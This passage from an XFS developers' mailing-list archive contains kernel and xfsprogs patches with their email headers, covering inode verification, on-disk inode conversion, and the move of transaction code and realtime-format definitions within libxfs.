XFS_ERRLEVEL_HIGH, + mp, dip); +#ifdef DEBUG + xfs_emerg(mp, + "bad inode magic/vsn daddr %lld #%d (magic=%x)", + (unsigned long long)bp->b_bn, i, + be16_to_cpu(dip->di_magic)); + ASSERT(0); +#endif + } + } + xfs_inobp_check(mp, bp); +} + +static void +xfs_inode_buf_read_verify( + struct xfs_buf *bp) +{ + xfs_inode_buf_verify(bp); +} + +static void +xfs_inode_buf_write_verify( + struct xfs_buf *bp) +{ + xfs_inode_buf_verify(bp); +} + +const struct xfs_buf_ops xfs_inode_buf_ops = { + .verify_read = xfs_inode_buf_read_verify, + .verify_write = xfs_inode_buf_write_verify, +}; + +/* + * This routine is called to map an inode to the buffer containing the on-disk + * version of the inode. It returns a pointer to the buffer containing the + * on-disk inode in the bpp parameter, and in the dipp parameter it returns a + * pointer to the on-disk inode within that buffer. + * + * If a non-zero error is returned, then the contents of bpp and dipp are + * undefined. + */ +int +xfs_imap_to_bp( + struct xfs_mount *mp, + struct xfs_trans *tp, + struct xfs_imap *imap, + struct xfs_dinode **dipp, + struct xfs_buf **bpp, + uint buf_flags, + uint iget_flags) +{ + struct xfs_buf *bp; + int error; + + buf_flags |= XBF_UNMAPPED; + error = xfs_trans_read_buf(mp, tp, mp->m_ddev_targp, imap->im_blkno, + (int)imap->im_len, buf_flags, &bp, + &xfs_inode_buf_ops); + if (error) { + if (error == EAGAIN) { + ASSERT(buf_flags & XBF_TRYLOCK); + return error; + } + + if (error == EFSCORRUPTED && + (iget_flags & XFS_IGET_UNTRUSTED)) + return XFS_ERROR(EINVAL); + + xfs_warn(mp, "%s: xfs_trans_read_buf() returned error %d.", + __func__, error); + return error; + } + + *bpp = bp; + *dipp = (struct xfs_dinode *)xfs_buf_offset(bp, imap->im_boffset); + return 0; +} + +void +xfs_dinode_from_disk( + xfs_icdinode_t *to, + xfs_dinode_t *from) +{ + to->di_magic = be16_to_cpu(from->di_magic); + to->di_mode = be16_to_cpu(from->di_mode); + to->di_version = from ->di_version; + to->di_format = from->di_format; + to->di_onlink = be16_to_cpu(from->di_onlink); + to->di_uid = be32_to_cpu(from->di_uid); + to->di_gid = be32_to_cpu(from->di_gid); + to->di_nlink = be32_to_cpu(from->di_nlink); + to->di_projid_lo = be16_to_cpu(from->di_projid_lo); + to->di_projid_hi = be16_to_cpu(from->di_projid_hi); + memcpy(to->di_pad, from->di_pad, sizeof(to->di_pad)); + to->di_flushiter = be16_to_cpu(from->di_flushiter); + to->di_atime.t_sec = be32_to_cpu(from->di_atime.t_sec); + to->di_atime.t_nsec = be32_to_cpu(from->di_atime.t_nsec); + to->di_mtime.t_sec = be32_to_cpu(from->di_mtime.t_sec); + to->di_mtime.t_nsec = be32_to_cpu(from->di_mtime.t_nsec); + to->di_ctime.t_sec = be32_to_cpu(from->di_ctime.t_sec); + to->di_ctime.t_nsec = be32_to_cpu(from->di_ctime.t_nsec); + to->di_size = be64_to_cpu(from->di_size); + to->di_nblocks = be64_to_cpu(from->di_nblocks); + to->di_extsize = be32_to_cpu(from->di_extsize); + to->di_nextents = be32_to_cpu(from->di_nextents); + to->di_anextents = be16_to_cpu(from->di_anextents); + to->di_forkoff = from->di_forkoff; + to->di_aformat = from->di_aformat; + to->di_dmevmask = be32_to_cpu(from->di_dmevmask); + to->di_dmstate = be16_to_cpu(from->di_dmstate); + to->di_flags = be16_to_cpu(from->di_flags); + to->di_gen = be32_to_cpu(from->di_gen); + + if (to->di_version == 3) { + to->di_changecount = be64_to_cpu(from->di_changecount); + to->di_crtime.t_sec = be32_to_cpu(from->di_crtime.t_sec); + to->di_crtime.t_nsec = be32_to_cpu(from->di_crtime.t_nsec); + to->di_flags2 = be64_to_cpu(from->di_flags2); + to->di_ino = be64_to_cpu(from->di_ino); + to->di_lsn = be64_to_cpu(from->di_lsn); + memcpy(to->di_pad2, from->di_pad2, sizeof(to->di_pad2)); + platform_uuid_copy(&to->di_uuid, &from->di_uuid); + } +} + +void +xfs_dinode_to_disk( + xfs_dinode_t *to, + xfs_icdinode_t *from) +{ + to->di_magic = cpu_to_be16(from->di_magic); + to->di_mode = cpu_to_be16(from->di_mode); + to->di_version = from ->di_version; + to->di_format = from->di_format; + to->di_onlink = cpu_to_be16(from->di_onlink); + to->di_uid = cpu_to_be32(from->di_uid); + to->di_gid = cpu_to_be32(from->di_gid); + to->di_nlink = cpu_to_be32(from->di_nlink); + to->di_projid_lo = cpu_to_be16(from->di_projid_lo); + to->di_projid_hi = cpu_to_be16(from->di_projid_hi); + memcpy(to->di_pad, from->di_pad, sizeof(to->di_pad)); + to->di_flushiter = cpu_to_be16(from->di_flushiter); + to->di_atime.t_sec = cpu_to_be32(from->di_atime.t_sec); + to->di_atime.t_nsec = cpu_to_be32(from->di_atime.t_nsec); + to->di_mtime.t_sec = cpu_to_be32(from->di_mtime.t_sec); + to->di_mtime.t_nsec = cpu_to_be32(from->di_mtime.t_nsec); + to->di_ctime.t_sec = cpu_to_be32(from->di_ctime.t_sec); + to->di_ctime.t_nsec = cpu_to_be32(from->di_ctime.t_nsec); + to->di_size = cpu_to_be64(from->di_size); + to->di_nblocks = cpu_to_be64(from->di_nblocks); + to->di_extsize = cpu_to_be32(from->di_extsize); + to->di_nextents = cpu_to_be32(from->di_nextents); + to->di_anextents = cpu_to_be16(from->di_anextents); + to->di_forkoff = from->di_forkoff; + to->di_aformat = from->di_aformat; + to->di_dmevmask = cpu_to_be32(from->di_dmevmask); + to->di_dmstate = cpu_to_be16(from->di_dmstate); + to->di_flags = cpu_to_be16(from->di_flags); + to->di_gen = cpu_to_be32(from->di_gen); + + if (from->di_version == 3) { + to->di_changecount = cpu_to_be64(from->di_changecount); + to->di_crtime.t_sec = cpu_to_be32(from->di_crtime.t_sec); + to->di_crtime.t_nsec = cpu_to_be32(from->di_crtime.t_nsec); + to->di_flags2 = cpu_to_be64(from->di_flags2); + to->di_ino = cpu_to_be64(from->di_ino); + to->di_lsn = cpu_to_be64(from->di_lsn); + memcpy(to->di_pad2, from->di_pad2, sizeof(to->di_pad2)); + platform_uuid_copy(&to->di_uuid, &from->di_uuid); + } +} + +static bool +xfs_dinode_verify( + struct xfs_mount *mp, + struct xfs_inode *ip, + struct xfs_dinode *dip) +{ + if (dip->di_magic != cpu_to_be16(XFS_DINODE_MAGIC)) + return false; + + /* only version 3 or greater inodes are extensively verified here */ + if (dip->di_version < 3) + return true; + + if (!xfs_sb_version_hascrc(&mp->m_sb)) + return false; + if (!xfs_verify_cksum((char *)dip, mp->m_sb.sb_inodesize, + offsetof(struct xfs_dinode, di_crc))) + return false; + if (be64_to_cpu(dip->di_ino) != ip->i_ino) + return false; + if (!uuid_equal(&dip->di_uuid, &mp->m_sb.sb_uuid)) + return false; + return true; +} +void +xfs_dinode_calc_crc( + struct xfs_mount *mp, + struct xfs_dinode *dip) +{ + __uint32_t crc; + + if (dip->di_version < 3) + return; + + ASSERT(xfs_sb_version_hascrc(&mp->m_sb)); + crc = xfs_start_cksum((char *)dip, mp->m_sb.sb_inodesize, + offsetof(struct xfs_dinode, di_crc)); + dip->di_crc = xfs_end_cksum(crc); +} + +/* + * Read the disk inode attributes into the in-core inode structure. + */ +int +xfs_iread( + xfs_mount_t *mp, + xfs_trans_t *tp, + xfs_inode_t *ip, + uint iget_flags) +{ + xfs_buf_t *bp; + xfs_dinode_t *dip; + int error; + + /* + * Fill in the location information in the in-core inode. + */ + error = xfs_imap(mp, tp, ip->i_ino, &ip->i_imap, iget_flags); + if (error) + return error; + + /* + * Get pointers to the on-disk inode and the buffer containing it. + */ + error = xfs_imap_to_bp(mp, tp, &ip->i_imap, &dip, &bp, 0, iget_flags); + if (error) + return error; + + /* even unallocated inodes are verified */ + if (!xfs_dinode_verify(mp, ip, dip)) { + xfs_alert(mp, "%s: validation failed for inode %lld failed", + __func__, ip->i_ino); + + XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, dip); + error = XFS_ERROR(EFSCORRUPTED); + goto out_brelse; + } + + /* + * If the on-disk inode is already linked to a directory + * entry, copy all of the inode into the in-core inode. + * xfs_iformat_fork() handles copying in the inode format + * specific information. + * Otherwise, just get the truly permanent information. + */ + if (dip->di_mode) { + xfs_dinode_from_disk(&ip->i_d, dip); + error = xfs_iformat_fork(ip, dip); + if (error) { +#ifdef DEBUG + xfs_alert(mp, "%s: xfs_iformat() returned error %d", + __func__, error); +#endif /* DEBUG */ + goto out_brelse; + } + } else { + /* + * Partial initialisation of the in-core inode. Just the bits + * that xfs_ialloc won't overwrite or relies on being correct. + */ + ip->i_d.di_magic = be16_to_cpu(dip->di_magic); + ip->i_d.di_version = dip->di_version; + ip->i_d.di_gen = be32_to_cpu(dip->di_gen); + ip->i_d.di_flushiter = be16_to_cpu(dip->di_flushiter); + + if (dip->di_version == 3) { + ip->i_d.di_ino = be64_to_cpu(dip->di_ino); + uuid_copy(&ip->i_d.di_uuid, &dip->di_uuid); + } + + /* + * Make sure to pull in the mode here as well in + * case the inode is released without being used. + * This ensures that xfs_inactive() will see that + * the inode is already free and not try to mess + * with the uninitialized part of it. + */ + ip->i_d.di_mode = 0; + } + + /* + * The inode format changed when we moved the link count and + * made it 32 bits long. If this is an old format inode, + * convert it in memory to look like a new one. If it gets + * flushed to disk we will convert back before flushing or + * logging it. We zero out the new projid field and the old link + * count field. We'll handle clearing the pad field (the remains + * of the old uuid field) when we actually convert the inode to + * the new format. We don't change the version number so that we + * can distinguish this from a real new format inode. + */ + if (ip->i_d.di_version == 1) { + ip->i_d.di_nlink = ip->i_d.di_onlink; + ip->i_d.di_onlink = 0; + xfs_set_projid(&ip->i_d, 0); + } + + ip->i_delayed_blks = 0; + + /* + * Mark the buffer containing the inode as something to keep + * around for a while. This helps to keep recently accessed + * meta-data in-core longer. + */ + xfs_buf_set_ref(bp, XFS_INO_REF); + + /* + * Use xfs_trans_brelse() to release the buffer containing the on-disk + * inode, because it was acquired with xfs_trans_read_buf() in + * xfs_imap_to_bp() above. If tp is NULL, this is just a normal + * brelse(). If we're within a transaction, then xfs_trans_brelse() + * will only release the buffer if it is not dirty within the + * transaction. It will be OK to release the buffer in this case, + * because inodes on disk are never destroyed and we will be locking the + * new in-core inode before putting it in the cache where other + * processes can find it. Thus we don't have to worry about the inode + * being changed just because we released the buffer. + */ + out_brelse: + xfs_trans_brelse(tp, bp); + return error; +} -- 1.8.3.2 From dave@fromorbit.com Wed Sep 4 17:21:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 8D26029E4D for ; Wed, 4 Sep 2013 17:21:49 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 743468F8033 for ; Wed, 4 Sep 2013 15:21:49 -0700 (PDT) X-ASG-Debug-ID: 1378333282-04cbb02c3ad4b6f000e-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id F3CTo7BEaYapQmYg for ; Wed, 04 Sep 2013 15:21:47 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AngIAKexJ1J5LJ62/2dsb2JhbABTCIMHrlGVIRd0giQBAQUnLzMIGDE5AxsZiAG6No4jhWEDqVuDMio Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 07:51:46 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHLDA-0007df-0z for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:04 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHLDA-0003tD-0A for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:04 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 26/55] libxfs: move transaction code to trans.c Date: Thu, 5 Sep 2013 08:05:30 +1000 X-ASG-Orig-Subj: [PATCH 26/55] libxfs: move transaction code to trans.c Message-Id: <1378332359-14737-27-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378332359-14737-1-git-send-email-david@fromorbit.com> References: <1378332359-14737-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378333306 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140347 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner There is very little code left in xfs_trans.c. So little it is not worthtrying to share this file with kernel space any more. Move the code to libxfs/trans.c, and remove libxfs/xfs_trans.c. Signed-off-by: Dave Chinner --- libxfs/Makefile | 1 - libxfs/trans.c | 118 +++++++++++++++++++++++++++++++++++++++++++++ libxfs/xfs.h | 6 +++ libxfs/xfs_trans.c | 139 ----------------------------------------------------- 4 files changed, 124 insertions(+), 140 deletions(-) delete mode 100644 libxfs/xfs_trans.c diff --git a/libxfs/Makefile b/libxfs/Makefile index b19ff6c..64b5979 100644 --- a/libxfs/Makefile +++ b/libxfs/Makefile @@ -19,7 +19,6 @@ CFILES = cache.c init.c kmem.c logitem.c radix-tree.c rdwr.c trans.c util.c \ xfs_mount.c xfs_rtalloc.c xfs_attr.c xfs_attr_remote.c \ crc32.c \ xfs_symlink.c \ - xfs_trans.c \ xfs_trans_resv.c CFILES += $(PKG_PLATFORM).c diff --git a/libxfs/trans.c b/libxfs/trans.c index 645952c..d0a91b1 100644 --- a/libxfs/trans.c +++ b/libxfs/trans.c @@ -1,5 +1,6 @@ /* * Copyright (c) 2000-2001,2005-2006 Silicon Graphics, Inc. + * Copyright (C) 2010 Red Hat, Inc. * All Rights Reserved. * * This program is free software; you can redistribute it and/or @@ -22,6 +23,123 @@ * Simple transaction interface */ +kmem_zone_t *xfs_log_item_desc_zone; + +/* + * Initialize the precomputed transaction reservation values + * in the mount structure. + */ +void +libxfs_trans_init( + struct xfs_mount *mp) +{ + xfs_trans_resv_calc(mp, &mp->m_reservations); +} + +/* + * Add the given log item to the transaction's list of log items. + * + * The log item will now point to its new descriptor with its li_desc field. + */ +void +libxfs_trans_add_item( + struct xfs_trans *tp, + struct xfs_log_item *lip) +{ + struct xfs_log_item_desc *lidp; + + ASSERT(lip->li_mountp == tp->t_mountp); + ASSERT(lip->li_ailp == tp->t_mountp->m_ail); + + lidp = calloc(sizeof(struct xfs_log_item_desc), 1); + if (!lidp) { + fprintf(stderr, _("%s: lidp calloc failed (%d bytes): %s\n"), + progname, (int)sizeof(struct xfs_log_item_desc), + strerror(errno)); + exit(1); + } + + lidp->lid_item = lip; + lidp->lid_flags = 0; + list_add_tail(&lidp->lid_trans, &tp->t_items); + + lip->li_desc = lidp; +} + +/* + * Unlink and free the given descriptor. + */ +void +libxfs_trans_del_item( + struct xfs_log_item *lip) +{ + list_del_init(&lip->li_desc->lid_trans); + free(lip->li_desc); + lip->li_desc = NULL; +} + +/* + * Roll from one trans in the sequence of PERMANENT transactions to + * the next: permanent transactions are only flushed out when + * committed with XFS_TRANS_RELEASE_LOG_RES, but we still want as soon + * as possible to let chunks of it go to the log. So we commit the + * chunk we've been working on and get a new transaction to continue. + */ +int +libxfs_trans_roll( + struct xfs_trans **tpp, + struct xfs_inode *dp) +{ + struct xfs_trans *trans; + unsigned int logres, count; + int error; + + /* + * Ensure that the inode is always logged. + */ + trans = *tpp; + xfs_trans_log_inode(trans, dp, XFS_ILOG_CORE); + + /* + * Copy the critical parameters from one trans to the next. + */ + logres = trans->t_log_res; + count = trans->t_log_count; + *tpp = xfs_trans_dup(trans); + + /* + * Commit the current transaction. + * If this commit failed, then it'd just unlock those items that + * are not marked ihold. That also means that a filesystem shutdown + * is in progress. The caller takes the responsibility to cancel + * the duplicate transaction that gets returned. + */ + error = xfs_trans_commit(trans, 0); + if (error) + return (error); + + trans = *tpp; + + /* + * Reserve space in the log for th next transaction. + * This also pushes items in the "AIL", the list of logged items, + * out to disk if they are taking up space at the tail of the log + * that we want to use. This requires that either nothing be locked + * across this call, or that anything that is locked be logged in + * the prior and the next transactions. + */ + error = xfs_trans_reserve(trans, 0, logres, 0, + XFS_TRANS_PERM_LOG_RES, count); + /* + * Ensure that the inode is in the new transaction and locked. + */ + if (error) + return error; + + xfs_trans_ijoin(trans, dp, 0); + return 0; +} + xfs_trans_t * libxfs_trans_alloc( xfs_mount_t *mp, diff --git a/libxfs/xfs.h b/libxfs/xfs.h index 66fca85..7149c09 100644 --- a/libxfs/xfs.h +++ b/libxfs/xfs.h @@ -235,12 +235,14 @@ roundup_pow_of_two(uint v) #define xfs_mod_incore_sb libxfs_mod_incore_sb #define xfs_trans_alloc libxfs_trans_alloc +#define xfs_trans_add_item libxfs_trans_add_item #define xfs_trans_bhold libxfs_trans_bhold #define xfs_trans_binval libxfs_trans_binval #define xfs_trans_bjoin libxfs_trans_bjoin #define xfs_trans_brelse libxfs_trans_brelse #define xfs_trans_commit libxfs_trans_commit #define xfs_trans_cancel libxfs_trans_cancel +#define xfs_trans_del_item libxfs_trans_del_item #define xfs_trans_dup libxfs_trans_dup #define xfs_trans_get_buf libxfs_trans_get_buf #define xfs_trans_getsb libxfs_trans_getsb @@ -248,12 +250,14 @@ roundup_pow_of_two(uint v) #define xfs_trans_ihold libxfs_trans_ihold #define xfs_trans_ijoin libxfs_trans_ijoin #define xfs_trans_ijoin_ref libxfs_trans_ijoin_ref +#define xfs_trans_init libxfs_trans_init #define xfs_trans_inode_alloc_buf libxfs_trans_inode_alloc_buf #define xfs_trans_log_buf libxfs_trans_log_buf #define xfs_trans_log_inode libxfs_trans_log_inode #define xfs_trans_mod_sb libxfs_trans_mod_sb #define xfs_trans_read_buf libxfs_trans_read_buf #define xfs_trans_read_buf_map libxfs_trans_read_buf_map +#define xfs_trans_roll libxfs_trans_roll #define xfs_trans_get_buf_map libxfs_trans_get_buf_map #define xfs_trans_reserve libxfs_trans_reserve @@ -373,6 +377,8 @@ void xfs_mount_common(xfs_mount_t *, xfs_sb_t *); /* * logitem.c and trans.c prototypes */ +void xfs_trans_init(struct xfs_mount *); +int xfs_trans_roll(struct xfs_trans **, struct xfs_inode *); /* xfs_trans_item.c */ void xfs_trans_add_item(struct xfs_trans *, struct xfs_log_item *); diff --git a/libxfs/xfs_trans.c b/libxfs/xfs_trans.c deleted file mode 100644 index 2daf545..0000000 --- a/libxfs/xfs_trans.c +++ /dev/null @@ -1,139 +0,0 @@ -/* - * Copyright (c) 2000-2003,2005 Silicon Graphics, Inc. - * Copyright (C) 2010 Red Hat, Inc. - * All Rights Reserved. - * - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write the Free Software Foundation, - * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#include - -kmem_zone_t *xfs_trans_zone; -kmem_zone_t *xfs_log_item_desc_zone; - -/* - * Initialize the precomputed transaction reservation values - * in the mount structure. - */ -void -xfs_trans_init( - struct xfs_mount *mp) -{ - xfs_trans_resv_calc(mp, &mp->m_reservations); -} - -/* - * Add the given log item to the transaction's list of log items. - * - * The log item will now point to its new descriptor with its li_desc field. - */ -void -xfs_trans_add_item( - struct xfs_trans *tp, - struct xfs_log_item *lip) -{ - struct xfs_log_item_desc *lidp; - - ASSERT(lip->li_mountp == tp->t_mountp); - ASSERT(lip->li_ailp == tp->t_mountp->m_ail); - - lidp = kmem_zone_zalloc(xfs_log_item_desc_zone, KM_SLEEP | KM_NOFS); - - lidp->lid_item = lip; - lidp->lid_flags = 0; - list_add_tail(&lidp->lid_trans, &tp->t_items); - - lip->li_desc = lidp; -} - -STATIC void -xfs_trans_free_item_desc( - struct xfs_log_item_desc *lidp) -{ - list_del_init(&lidp->lid_trans); - kmem_zone_free(xfs_log_item_desc_zone, lidp); -} - -/* - * Unlink and free the given descriptor. - */ -void -xfs_trans_del_item( - struct xfs_log_item *lip) -{ - xfs_trans_free_item_desc(lip->li_desc); - lip->li_desc = NULL; -} - -/* - * Roll from one trans in the sequence of PERMANENT transactions to - * the next: permanent transactions are only flushed out when - * committed with XFS_TRANS_RELEASE_LOG_RES, but we still want as soon - * as possible to let chunks of it go to the log. So we commit the - * chunk we've been working on and get a new transaction to continue. - */ -int -xfs_trans_roll( - struct xfs_trans **tpp, - struct xfs_inode *dp) -{ - struct xfs_trans *trans; - unsigned int logres, count; - int error; - - /* - * Ensure that the inode is always logged. - */ - trans = *tpp; - xfs_trans_log_inode(trans, dp, XFS_ILOG_CORE); - - /* - * Copy the critical parameters from one trans to the next. - */ - logres = trans->t_log_res; - count = trans->t_log_count; - *tpp = xfs_trans_dup(trans); - - /* - * Commit the current transaction. - * If this commit failed, then it'd just unlock those items that - * are not marked ihold. That also means that a filesystem shutdown - * is in progress. The caller takes the responsibility to cancel - * the duplicate transaction that gets returned. - */ - error = xfs_trans_commit(trans, 0); - if (error) - return (error); - - trans = *tpp; - - /* - * Reserve space in the log for th next transaction. - * This also pushes items in the "AIL", the list of logged items, - * out to disk if they are taking up space at the tail of the log - * that we want to use. This requires that either nothing be locked - * across this call, or that anything that is locked be logged in - * the prior and the next transactions. - */ - error = xfs_trans_reserve(trans, 0, logres, 0, - XFS_TRANS_PERM_LOG_RES, count); - /* - * Ensure that the inode is in the new transaction and locked. - */ - if (error) - return error; - - xfs_trans_ijoin(trans, dp, 0); - return 0; -} -- 1.8.3.2 From dave@fromorbit.com Wed Sep 4 17:21:50 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A382529E37 for ; Wed, 4 Sep 2013 17:21:50 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 7714C8F8033 for ; Wed, 4 Sep 2013 15:21:50 -0700 (PDT) X-ASG-Debug-ID: 1378333308-04bdf02f23d82960001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id N45UExapkhGcj3NJ for ; Wed, 04 Sep 2013 15:21:48 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AngIAKexJ1J5LJ62/2dsb2JhbABbgweuUZUhF3SCJAEBBScvMwgYMTkDGxmIAbo2lAQDoiSHN4MyKg Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 07:51:47 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VHLD9-0007db-Uw for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:04 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VHLD9-0003sy-UH for xfs@oss.sgi.com; Thu, 05 Sep 2013 08:06:03 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 23/55] xfs: introduce xfs_rtalloc_defs.h Date: Thu, 5 Sep 2013 08:05:27 +1000 X-ASG-Orig-Subj: [PATCH 23/55] xfs: introduce xfs_rtalloc_defs.h Message-Id: <1378332359-14737-24-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378332359-14737-1-git-send-email-david@fromorbit.com> References: <1378332359-14737-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378333308 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140347 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner There are quite a few realtime device definitions shared with userspace. Move them from xfs_rtalloc.h to xfs_rt_alloc_defs.h so we don't need to share xfs_rtalloc.h with userspace anymore. This removes the final __KERNEL__ region from the XFS kernel codebase. Yay! Signed-off-by: Dave Chinner --- include/Makefile | 5 +- include/libxfs.h | 1 - include/xfs_format.h | 41 +++++++++++++ include/xfs_rtalloc.h | 166 -------------------------------------------------- include/xfs_types.h | 10 +++ 5 files changed, 55 insertions(+), 168 deletions(-) delete mode 100644 include/xfs_rtalloc.h diff --git a/include/Makefile b/include/Makefile index ab71aad..3610726 100644 --- a/include/Makefile +++ b/include/Makefile @@ -35,7 +35,10 @@ QAHFILES = libxfs.h libxlog.h \ xfs_log_format.h \ xfs_log_recover.h \ xfs_metadump.h \ - xfs_mount.h xfs_quota.h xfs_rtalloc.h xfs_sb.h xfs_symlink.h \ + xfs_mount.h \ + xfs_quota.h \ + xfs_sb.h \ + xfs_symlink.h \ xfs_trace.h xfs_trans.h xfs_trans_space.h xfs_dfrag.h HFILES = handle.h jdm.h xqm.h xfs.h xfs_fs.h xfs_types.h diff --git a/include/libxfs.h b/include/libxfs.h index bc90082..8c09b77 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -614,7 +614,6 @@ extern int libxfs_nproc(void); extern unsigned long libxfs_physmem(void); /* in kilobytes */ #include -#include #include #include diff --git a/include/xfs_format.h b/include/xfs_format.h index 2b4f166..6205374 100644 --- a/include/xfs_format.h +++ b/include/xfs_format.h @@ -28,6 +28,47 @@ */ /* + * RealTime Device format definitions + */ + +/* Min and max rt extent sizes, specified in bytes */ +#define XFS_MAX_RTEXTSIZE (1024 * 1024 * 1024) /* 1GB */ +#define XFS_DFL_RTEXTSIZE (64 * 1024) /* 64kB */ +#define XFS_MIN_RTEXTSIZE (4 * 1024) /* 4kB */ + +#define XFS_BLOCKSIZE(mp) ((mp)->m_sb.sb_blocksize) +#define XFS_BLOCKMASK(mp) ((mp)->m_blockmask) +#define XFS_BLOCKWSIZE(mp) ((mp)->m_blockwsize) +#define XFS_BLOCKWMASK(mp) ((mp)->m_blockwmask) + +/* + * RT Summary and bit manipulation macros. + */ +#define XFS_SUMOFFS(mp,ls,bb) ((int)((ls) * (mp)->m_sb.sb_rbmblocks + (bb))) +#define XFS_SUMOFFSTOBLOCK(mp,s) \ + (((s) * (uint)sizeof(xfs_suminfo_t)) >> (mp)->m_sb.sb_blocklog) +#define XFS_SUMPTR(mp,bp,so) \ + ((xfs_suminfo_t *)((bp)->b_addr + \ + (((so) * (uint)sizeof(xfs_suminfo_t)) & XFS_BLOCKMASK(mp)))) + +#define XFS_BITTOBLOCK(mp,bi) ((bi) >> (mp)->m_blkbit_log) +#define XFS_BLOCKTOBIT(mp,bb) ((bb) << (mp)->m_blkbit_log) +#define XFS_BITTOWORD(mp,bi) \ + ((int)(((bi) >> XFS_NBWORDLOG) & XFS_BLOCKWMASK(mp))) + +#define XFS_RTMIN(a,b) ((a) < (b) ? (a) : (b)) +#define XFS_RTMAX(a,b) ((a) > (b) ? (a) : (b)) + +#define XFS_RTLOBIT(w) xfs_lowbit32(w) +#define XFS_RTHIBIT(w) xfs_highbit32(w) + +#if XFS_BIG_BLKNOS +#define XFS_RTBLOCKLOG(b) xfs_highbit64(b) +#else +#define XFS_RTBLOCKLOG(b) xfs_highbit32(b) +#endif + +/* * Dquot and dquot block format definitions */ #define XFS_DQUOT_MAGIC 0x4451 /* 'DQ' */ diff --git a/include/xfs_rtalloc.h b/include/xfs_rtalloc.h deleted file mode 100644 index f7f3a35..0000000 --- a/include/xfs_rtalloc.h +++ /dev/null @@ -1,166 +0,0 @@ -/* - * Copyright (c) 2000-2003,2005 Silicon Graphics, Inc. - * All Rights Reserved. - * - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write the Free 